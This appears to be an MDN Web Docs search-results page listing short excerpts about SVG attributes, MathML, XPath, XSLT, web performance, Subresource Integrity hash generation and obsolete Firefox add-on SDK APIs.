... index.mjs import './index2.mjs?someurlinfo=5'; // index2.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 note that while node.js will pass on query parameters (or the hash) as in the latter example, as of node 14.1.0, a url with query parameters will err when loading in the form node --experimental-modules index.mjs?someurlinfo=5 (it is treated as a file rather than a url in
this context).
icons - Web app manifests
the purpose of
this member is to allow a user agent to quickly ignore images with media types it does not support.
... purpose can have one or more of the following values, separated by spaces: monochrome: a user agent can present
this icon where a monochrome icon with a solid fill is needed.
... any: the user agent is free to display the icon in any context (
this is the default value).
<mtd> - MathML
this element is similar to the <td> element of html.
... columnalign specifies the horizontal alignment of
this cell and overrides values specified by <mtable> or <mtr>.
... rowalign specifies the vertical alignment of
this cell and overrides values specified by <mtable> or <mtr>.
<mtr> - MathML
this element is similar to the <tr> element of html.
... columnalign overrides the horizontal alignment of cells specified by <mtable> for
this row.
... rowalign overrides the vertical alignment of cells specified by <mtable> for
this row.
Using audio and video in HTML - Web media technologies
in
this guide, we'll review the media elements and how to use them in html content.
... note:
this guide is a planned update to integrate content from various scattered places on mdn into one cohesive document or document set.
... we don't have a particularly good guide to using these objects offscreen at
this time, although audio and video manipulation may be a good start.
Lazy loading - Web Performance
one of the methods we can use to tackle
this problem is to shorten the critical rendering path length by lazy loading resources that are not critical for the first render to happen.
...
this enables sending the minimal code required to provide value upfront, improving page-load times.
... polyfill include
this polyfill to provide support for older and currently incompatible browsers: loading-attribute-polyfill intersection observer api intersection observers allow the user to know when an observed element enters or exits the browser’s viewport.
Understanding latency - Web Performance
this article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it.
...depending on the complexity of what is needed from the server,
this can still be an issue.
...if the image been cached,
this would have been nearly instantaneous.
attributeType - SVG: Scalable Vector Graphics
four elements are using
this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css
this value specifies that the value of attributename is the name of a css property defined as animatable.
... xml
this value specifies that the value of attributename is the name of an xml attribute defined as animatable in the default xml namespace for the target element.
... auto
this value specifies that the implementation should match the attributename to an attribute for the target element.
clip-path - SVG: Scalable Vector Graphics
this is the same as having a custom clipping path with a clippathunits set to objectboundingbox --> <rect x="11" y="1" width="8" height="8" stroke="green" clip-path="circle() fill-box" /> <!-- bottom-left --> <rect x="1" y="11" width="8" height="8" stroke="green" clip-path="circle() stroke-box" /> <!-- bottom-right: apply a css basic shape on a view-box geometry...
...
this is the same as having a custom clipping path with a clippathunits set to userspaceonuse --> <rect x="11" y="11" width="8" height="8" stroke="green" clip-path="circle() view-box" /> </svg> usage notes value <url> | [ <basic-shape> || <geometry-box> ] | none default value none animatable yes <geometry-box> an extra information to tell how a <basic-shape> is applied to an element: fill-box indicates to use the object bounding box; stroke-box indicates to use the object bounding box extended with the stroke; view-box indicates to use the nearest svg viewport as the reference box.
... browser compatibility the compatibility table on
this page is generated from structured data.
clipPathUnits - SVG: Scalable Vector Graphics
only one element is using
this attribute: <clippath> html,body,svg { height:100% } <svg viewbox="0 0 100 100"> <clippath id="myclip1" clippathunits="userspaceonuse"> <circle cx="50" cy="50" r="35" /> </clippath> <clippath id="myclip2" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".35" /> </clippath> <!-- some reference rect to materialized to clip path --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are clipped with usespaceonuse units -->...
... value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse
this value indicates that all coordinates inside the <clippath> element refer to the user coordinate system as defined when the clipping path was created.
... objectboundingbox
this value indicates that all coordinates inside the <clippath> element are relative to the bounding box of the element the clipping path is applied to.
color-interpolation-filters - SVG: Scalable Vector Graphics
notes:
this property just has an affect on filter operations.
...
this option indicates that the author doesn't require that color interpolation occur in a particular color space.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
cursor - SVG: Scalable Vector Graphics
this attribute behaves exactly like the css cursor property except that if the browser supports the <cursor> element, you should be able to use it with the <funciri> notation.
...the syntax for
this reference is the same as the css uri.
... elements the following elements can use the cursor attribute container elements » graphics elements » browser compatibility the compatibility table on
this page is generated from structured data.
cx - SVG: Scalable Vector Graphics
three elements are using
this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ellipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape.
... value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning
this attribute can also be used as css property for circles.
... value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning
this attribute can also be used as css property for ellipses.
cy - SVG: Scalable Vector Graphics
three elements are using
this attribute: <circle>, <ellipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ellipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape.
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning
this attribute can also be used as a css property for circles.
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning
this attribute can also be used as a css property for ellipses.
diffuseConstant - SVG: Scalable Vector Graphics
in svg,
this can be any non-negative number.
...the brighter the lighting-color, the smaller
this number should be.
... only one element is using
this attribute: <fediffuselighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting2); transform: translatex(220px);" ...
externalResourcesRequired - SVG: Scalable Vector Graphics
this attribute applies to all types of resource references, including style sheets, color profiles and fonts specified by a reference using a <font-face> element or a css @font-face specification.
... usage notes value false | true default value false animatable no true
this value indicates that resources external to the current document are required.
... false
this value indicates that resources external to the current document are optional.
gradientTransform - SVG: Scalable Vector Graphics
this allows for things such as skewing the gradient.
...
this additional transformation matrix is post-multiplied to (i.e., inserted to the right of) any previously defined transformations, including the implicit transformation necessary to convert from object bounding box units to user space.
... two elements are using
this attribute: <lineargradient> and <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient id="gradient1" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <radialgradient id="gradient2" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100" gradienttransform="skewx(20) translate(-35, 0)"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <rect x=...
horiz-adv-x - SVG: Scalable Vector Graphics
three elements are using
this attribute: <font>, <glyph>, and <missing-glyph> font for <font> elements, horiz-adv-x specifies the default horizontal advance of a glyph in horizontal orientation.
... value <number> default value none animatable no <number>
this value indicates the horizontal advance of the glyph.
... value <number> default value <font>ʼs horiz-adv-x value animatable no <number>
this value indicates the horizontal advance of the glyph.
maskContentUnits - SVG: Scalable Vector Graphics
only one element is using
this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskcontentunits="userspaceonuse"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskcontentunits="objectboundingbox"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> ...
... value userspaceonuse | objectboundingbox default value userspaceonuse animatable yes userspaceonuse
this value indicates that all coordinates inside the <mask> element refer to the user coordinate system as defined when the mask was created.
... objectboundingbox
this value indicates that all coordinates inside the <mask> element are relative to the bounding box of the element the mask is applied to.
maskUnits - SVG: Scalable Vector Graphics
only one element is using
this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" maskunits="userspaceonuse" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" maskunits="objectboundingbox" x="20%" y="20%" width="60%" height="60%"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y=...
... value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse
this value indicates that all coordinates for the geometry attributes refer to the user coordinate system as defined when the mask was created.
... objectboundingbox
this value indicates that all coordinates for the geometry attributes represent fractions or percentages of the bounding box of the element to which the mask is applied.
opacity - SVG: Scalable Vector Graphics
any values outside the range 0.0 (fully transparent) to 1.0 (fully opaque) will be clamped to
this range.
... working draft defines in more detail what
this attribute applies to.
... recommendation defines in more detail what
this attribute applies to.
pathLength - SVG: Scalable Vector Graphics
this value is then used to calibrate the browser's distance calculations with those of the author, by scaling all distance computations using the ratio pathlength/(computed value of path length).
...
this can affect the actual rendered lengths of paths; including text paths, animation paths, and various stroke operations.
... seven elements are using
this attribute: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <style> path { fill: none; stroke: black; stroke-width: 2; stroke-dasharray: 10; } </style> <!-- no pathlength, the real length of the path is used.
patternUnits - SVG: Scalable Vector Graphics
only one element is using
this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- all geometry properties are relative to the current user space --> <pattern id="p1" x="12.5" y="12.5" width="25" height="25" patternunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- all geometry properties are relative to the target bounding box --> <pattern id="p2" x=".125" y=".125" width=".25" height=".25" patternunits="objectboundingbox"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- left square with user space tiles --> <rect x="10" y="10...
... value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse
this value indicates that all coordinates for the geometry properties refer to the user coordinate system as defined when the pattern was applied.
... objectboundingbox
this value indicates that all coordinates for the geometry properties represent fractions or percentages of the bounding box of the element to which the mask is applied.
r - SVG: Scalable Vector Graphics
two elements are using
this attribute: <circle>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient r="0" id="mygradient000"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="50%" id="mygradient050"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <radialgradient r="100%" id="mygradient100"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="0"/> <circle cx="150" cy="50" r="25"/> <circle cx="250" cy="50" r="50"/> <r...
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, r is a geometry property meaning
this attribute can also be used as a css property for circles.
... the gradient will be drawn such that the 100% gradient stop is mapped to the perimeter of
this end circle.
requiredFeatures - SVG: Scalable Vector Graphics
this provides a way to design svg that gracefully falls back when features aren't available.
... twentynine elements are using
this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <circle>, <clippath>, <cursor>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg viewbox="0 0 250 45"...
...iredfeatures supported</text> </g> <g requiredfeatures=""> <rect fill="crimson" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <list-of-features> default value true if not defined, false if null or empty string as value animatable no <list-of-features>
this is a list of feature strings, separated using white space.
rx - SVG: Scalable Vector Graphics
two elements are using
this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" rx="0" ry="25" /> <ellipse cx="150" cy="50" rx="25" ry="25" /> <ellipse cx="250" cy="50" rx="50" ry="25" /> <rect x="20" y="120" width="60" height="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape.
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, rx is a geometry property meaning
this attribute can also be used as a css property for ellipses.
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, rx is a geometry property meaning
this attribute can also be used as a css property for rects.
ry - SVG: Scalable Vector Graphics
two elements are using
this attribute: <ellipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="50" cy="50" ry="0" rx="25" /> <ellipse cx="150" cy="50" ry="25" rx="25" /> <ellipse cx="250" cy="50" ry="50" rx="25" /> <rect x="20" y="120" width="60" height="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape.
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, ry is a geometry property meaning
this attribute can also be used as a css property for ellipses.
... value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, ry is a geometry property meaning
this attribute can also be used as a css property for rects.
scale - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 480 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="5"/> </filter> <filter id="displacementfilter2" x="-20%" y="-20%" width="140%" height="140%"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves=...
...edisplacementmap in2="turbulence" in="sourcegraphic" scale="50"/> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#displacementfilter);""/> <circle cx="100" cy="100" r="80" style="filter: url(#displacementfilter2); transform: translatex(240px);""/> </svg> usage notes value <number> default value none animatable yes <number>
this value defines the scale factor for the displacement.
... when the value of
this attribute is 0,
this operation has no effect on the source image.
stemv - SVG: Scalable Vector Graphics
this information is often tied to hinting, and may not be directly accessible in some font formats.
... if
this attribute is used, the units-per-em must also be used.
... only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the vertical stem width of the font.
stitchTiles - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="nostitch" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" stitchtiles="stitch" /> </filter> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: translate(100px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise1); transform: transl...
...form: translate(320px, 0);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(220px, 100px);" /> <rect x="0" y="0" width="100" height="100" style="filter: url(#noise2); transform: translate(320px, 100px);" /> </svg> usage notes value nostitch | stitch default value nostitch animatable yes nostitch
this value indicates that no attempt is made to achieve smooth transitions at the border of tiles which contain a turbulence function.
... stitch
this value indicates that the user agent will automatically adjust the x and y values of the base frequency such that the <feturbulence> node’s width and height (i.e., the width and height of the current subregion) contain an integral number of the tile width and height for the first octave.
stop-color - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following element: <stop> usage notes value currentcolor | <color> <icccolor> default value black animatable yes currentcolor
this keyword denotes the current fill color and can be specified in the same manner as within a <paint> specification for the fill and stroke attributes.
... <color>
this value indicates a color value.
... <icccolor>
this value refers to an icc color profile.
units-per-em - SVG: Scalable Vector Graphics
this is the size of the design grid on which glyphs are laid out.
... note:
this value is almost always necessary as nearly every other attribute requires the definition of a design grid.
... only one element is using
this attribute: <font-face> usage notes value <number> default value 1000 animatable no <number>
this value indicates the the number of coordinate units on the em square.
vert-adv-y - SVG: Scalable Vector Graphics
three elements are using
this attribute: <font>, <glyph>, and <missing-glyph> font for <font> elements, vert-adv-y specifies the default vertical advance for a glyph in vertical orientation.
... value <number> default value 1 em as of units-per-em animatable no <number>
this value indicates the default vertical advance of the glyph in vertical direction glyph, missing-glyph for <glyph> and <missing-glyph> elements, vert-adv-y specifies the vertical advance for a glyph in vertical orientation.
... value <number> default value <font>ʼs vert-adv-y value animatable no <number>
this value indicates the vertical advance of the glyph in vertical direction specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <glyph> and <missing-glyph>' in that specification.
xml:lang - SVG: Scalable Vector Graphics
all elements are using
this attribute.
... <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text xml:lang="en-us">
this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag>
this value specifies the language used for the element.
... the syntax of
this value is defined in the bcp 47 specification.
<cursor> - SVG: Scalable Vector Graphics
note: the css cursor property should be used instead of
this element.
...if a different image format is used,
this format should support the definition of a transparency mask (two options: provide an explicit alpha channel or use a particular pixel color to indicate transparency).
... usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes conditional processing attributes core attributes xlink attributes externalresourcesrequired specific attributes x y xlink:href dom interface
this element implements the svgcursorelement interface.
<feDropShadow> - SVG: Scalable Vector Graphics
pshadow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(#shadow);"/> <circle cx="15" cy="50%" r="4" style="fill:pink; filter:url(#shadow2);"/> <circle cx="25" cy="50%" r="4" style="fill:pink; filter:url(#shadow3);"/> </svg> attributes dx
this attribute defines the x offset of the drop shadow.
... value type: <number>; default value: 2; animatable: yes dy
this attribute defines the y offset of the drop shadow.
... value type: <number>; default value: 2; animatable: yes stddeviation
this attribute defines the standard deviation for the blur operation in the drop shadow.
<image> - SVG: Scalable Vector Graphics
this specific element and its behavior only apply inside svg documents or inline svg.
...unlike html's <img>,
this attribute is required.
...unlike html's <img>,
this attribute is required.
<solidcolor> - SVG: Scalable Vector Graphics
note:
this is an experimental technology, and not yet implemented in browsers.
...
this is less elegant, and unlike <solidcolor>, cannot itself be used in the definition of gradients.
... dom interface
this element implements the svgsolidcolorelement interface.
<style> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin: 0; padding: 0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg> attributes type
this attribute defines type of the style sheet language to use as a media type string.
... value type: <string>; default value: text/css; animatable: no media
this attribute defines to which media the style applies.
... value type: <string>; default value: all; animatable: no title
this attribute the title of the style sheet which can be used to switch between alternate style sheets.
Tools for SVG - SVG: Scalable Vector Graphics
from
this time stems the good support of svg in illustrator.
...usage of headless browsers such as slimerjs and phantomjs are also popular for
this purpose, as the image produced is closer to what the svg will look like in the browser.
... raphael js url: raphaeljs.com
this is a javascript library, that acts as an abstraction layer between browser implementations.
SVG: Scalable Vector Graphics
getting started
this tutorial will help get you started using svg.
...additionally,
this means they can be created and edited with any text editor or with drawing software.
...
this allows developers to create rich animations and interactive images.
Subresource Integrity - Web security
subresource integrity enables you to mitigate some risks of attacks such as
this, by ensuring that the files your web application or web document fetches (from a cdn or anywhere) have been delivered without a third-party having injected any additional content into those files — and without any other changes of any kind at all having been made to those files.
...but it’s common to use the shorthand "hash" to mean cryptographic digest, so that's what's used in
this article.
... tools for generating sri hashes you can generate sri hashes from the command-line with openssl using a command invocation such as
this: cat filename.js | openssl dgst -sha384 -binary | openssl base64 -a or with shasum using a command invocation such as
this: shasum -b -a 384 filename.js | awk '{ print $1 }' | xxd -r -p | base64 notes: the pipe-through-xxd step takes the hexadecimal output from shasum and converts it to binary.
HTML Imports - Web Components
obsolete since google chrome 73
this feature is obsolete.
...see
this status update for more information.
... you import an html file by using a <link> tag in an html document like
this: <link rel="import" href="myfile.html"> the import link type is new.
Axes - XPath
this axis can be abbreviated with the at sign (@).
...if an xpath expression does not specify an axis,
this is understood by default.
...in
this case, the context node must be an element node.
lang - XPath
if the language cannot be determined (no ancestor has an xml:lang attribute),
this function will return false.
... if the given string does not specify a country code,
this function will match nodes of that language with any country code.
... given
this fragment of xml: <p xml:lang="en">i went up a floor.</p> <p xml:lang="en-gb">i took the lift.</p> <p xml:lang="en-us">i rode the elevator.</p> and
this part of an xsl template: <xsl:value-of select="count(//p[lang('en')])" /> <xsl:value-of select="count(//p[lang('en-gb')])" /> <xsl:value-of select="count(//p[lang('en-us')])" /> <xsl:value-of select="count(//p[lang('de')])" /> the output might be: 3 1 1 0 defined xpath 1.0 4.3 gecko support supported.
XPath snippets - XPath
this article provides some xpath code snippets—simple examples of how to a few simple utility functions based on standard interfaces from the dom level 3 xpath specification that expose xpath functionality to javascript code.
... anode.documentelement : anode.ownerdocument.documentelement); var result = xpe.evaluate(aexpr, anode, nsresolver, 0, null); var found = []; var res; while (res = result.iteratenext()) found.push(res); return found; }
this function uses the new xpathevaluator() constructor, which is supported in firefox, chrome, opera and safari, but not in edge or internet explorer.
...g; } xpath = "*[name()='"+el.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']["+pos+']'+'/'+xpath; el = el.parentnode; } xpath = '/*'+"[name()='"+xml.documentelement.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']"+'/'+xpath; xpath = xpath.replace(/\/$/, ''); return xpath; } resources xpath forum discussion on
this topic see also introduction to using xpath in javascript ...
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
this has been possible for a while when using the xsltprocessor in javascript.
... to solve
this two new pis are implemented in firefox 2 (see supported versions below for details), <?xslt-param?> and <?xslt-param-namespace?>.
...
this applies even if there are other nodes such as comments or other pis between the xslt-param-namespace and xslt-param pis.
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how
this data should eventually be presented.
...
this intelligent structuring is particularly important as more and more data transfers are automated and take place between highly heterogeneous machines linked by a network.
... note:
this reprinted article was originally part of the devedge site.
Contributor's Guide - Archive of obsolete content
to understand
this article, it's probably best to read it as if content and add-on processes actually exist.
...
this article discusses two common techniques: one using prefixes, the other closures.
SDK and XUL Comparison - Archive of obsolete content
the sdk's supported apis expose a relatively small set of
this functionality.
... note that by doing
this you lose some of the benefits of programming with the sdk including simplicity, compatibility, and to a lesser extent security.
Two Types of Scripts - Archive of obsolete content
this enables you to call functions like: window.alert("hello there"); in an add-on's main scripts you can't do that, because the add-on code does not execute in the context of a page, and the dom is therefore not available.
... add-on code
this is the place where the main logic of your add-on is implemented.
clipboard - Archive of obsolete content
parameters datatype : string retrieve the clipboard contents only if matching
this type (optional).
...
this property is an array contains all types in which the data currently on the clipboard is available.
console/traceback - Archive of obsolete content
get() returns json : returns the json representation of the stack at the point that
this function is called.
...if no argument is provided, the stack at the point
this function is called is used.
event/core - Archive of obsolete content
also see the tutorial on implementing event targets to get started with
this api.
...
this will call all registered listeners for the given type on the given event target in the same order they were registered.
preferences/event-target - Archive of obsolete content
this enables add-ons to listen to change events to the system-wide settings.
... globals constructor prefstarget(options) parameters options : object required options: name type branchname string by default
this is "", the root.
system/runtime - Archive of obsolete content
globals properties insafemode
this value is true if firefox was started in safe mode, otherwise false.
...
this string takes the form <processor>-<compilerabi>, for example: "x86-msvc" or "ppc-gcc3".
util/deprecate - Archive of obsolete content
this function is mostly used to flag usage of deprecated functions, that are still available but which we intend to remove in a future release.
...
this function is mostly used to flag usage of deprecated functions that are no longer available.
util/list - Archive of obsolete content
examples: var { list } = require("sdk/util/list"); var mylist = list.compose({ add: function add(item1, item2, /*item3...*/) { array.slice(arguments).foreach(
this._add.bind(
this)); }, remove: function remove(item1, item2, /*item3...*/) { array.slice(arguments).foreach(
this._remove.bind(
this)); } }); mylist('foo', 'bar', 'baz').length == 3; // true new mylist('new', 'keyword').length == 2; // true mylist.apply(null, [1, 2, 3]).length == 3; // true let list = mylist(); list.length == 0; // true list.a...
...dd(1, 2, 3) == 3; // true properties length number of elements in
this list.
Annotator - Archive of obsolete content
warning:
this tutorial relies on the since-removed widget api and no longer works with firefox.
... in
this tutorial we'll build an add-on that uses many of the sdk's high-level apis.
Using XPCOM without chrome - Archive of obsolete content
however, with the sdk module , we can remove
this need.
... //
this removes the need to import ci and the xpcomutils const { class } = require("sdk/core/heritage"); const { unknown } = require('sdk/platform/xpcom'); const { placesutils } = require("resource://gre/modules/placesutils.jsm"); let bmlistener = class({ extends: unknown, interfaces: [ "nsinavbookmarkobserver" ], //
this event most often handles all events onitemchanged: function(bid, prop, an, nv, lm, type, parentid, aguid, aparentguid) { console.log("onitemchanged", "bid: "+bid, "property: "+prop, "isanno: "+an, "new v...
Label and description - Archive of obsolete content
this reduces all whitespace chunks (including newlines) to single spaces.
... absolutely nothing!</description> text can also be made to wrap by inserting an <html:br/> element regardless of the css style, but
this creates a hard-break that does not change as parent elements resize.
LookupPrefix - Archive of obsolete content
this function is not necessary for gecko-based browsers when used in xhtml.
... https://developer.mozilla.org/en/code_snippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use
this in text/html for mozilla as will return null return node.lookupprefix(namespaceuri); } if (namespaceuri === null || namespaceuri === '') { return null; } switch (node.nodetype) { case 1: // node.element_node return _lookupnamespaceprefix(namespaceuri, node); case 9: // node.document_node return _lookupnamespaceprefix(namespaceuri, node.documentelement); case 6: // node.entit...
SVG General - Archive of obsolete content
on
this page you will find some simple, general information on svg markup.
... dynamic scripting helper
this little helper script can be used to simplify creation of svg elements in script.
Tabbox - Archive of obsolete content
obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)
this feature is obsolete.
... handling onclosetab event assuming the tabbox, tabs, and tabpanels widgets with id's the same as their nodename,
this function will correctly remove the current tab and tab panel for the onclosetab tabs event: function removetab(){ var tabbox = document.getelementbyid("tabbox"); var currentindex = tabbox.selectedindex; if(currentindex>=0){ var tabs=document.getelementbyid("tabs"); var tabpanels=document.getelementbyid("tabpanels"); tabpanels.removechild(tabpanels.childnodes[currentindex]); tabs.removeitemat(currentindex); /*work around if last tab is removed, widget fails to advance to next tab*/ if(-1 == tabbox.selectedi...
Common Pitfalls - Archive of obsolete content
this will shield you from loading <tt>javascript:</tt> or <tt>chrome:</tt> uris when you shouldn't.
...if there is no nsiuri object on hand, it is secure to call checkloaduristrwithprincipal, but
this will perform a more stringent security check than is strictly necessary.
Communication between HTML and your extension - Archive of obsolete content
this was non-optimal and the timeout wasn't very reliable for some reason.
...after the html component was update with the result of the ajax request, i created and dispatched the event like
this: var event = document.createevent("events"); event.initevent("my-custom-event", true, true); document.body.dispatchevent(event); in the code of the extension that catches the loading of a new page i added
this code: var doc = aevent.originaltarget; // doc is document that triggered "onload" event // do something with the loaded page.
Developing add-ons - Archive of obsolete content
this page will help guide you to the information you need in order to create add-ons for firefox, thunderbird, or other software based on the mozilla platform, as well as how to distribute your add-ons.
...
this includes information about addons.mozilla.org, mozilla's add-on distribution web site.
Getting the page URL in NPAPI plugin - Archive of obsolete content
